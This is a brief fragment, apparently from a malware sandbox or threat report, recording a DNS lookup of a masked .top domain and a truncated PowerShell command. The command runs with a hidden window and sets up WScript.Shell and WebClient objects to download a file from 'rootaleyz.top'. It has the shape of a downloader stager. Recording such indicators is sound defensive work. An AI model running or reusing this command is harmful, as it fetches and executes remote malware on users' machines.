Technical Information
- DNS ASK ro###leyz.top
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://rootaleyz.top/read.php?f=1.dat'.Split...' (with hidden window)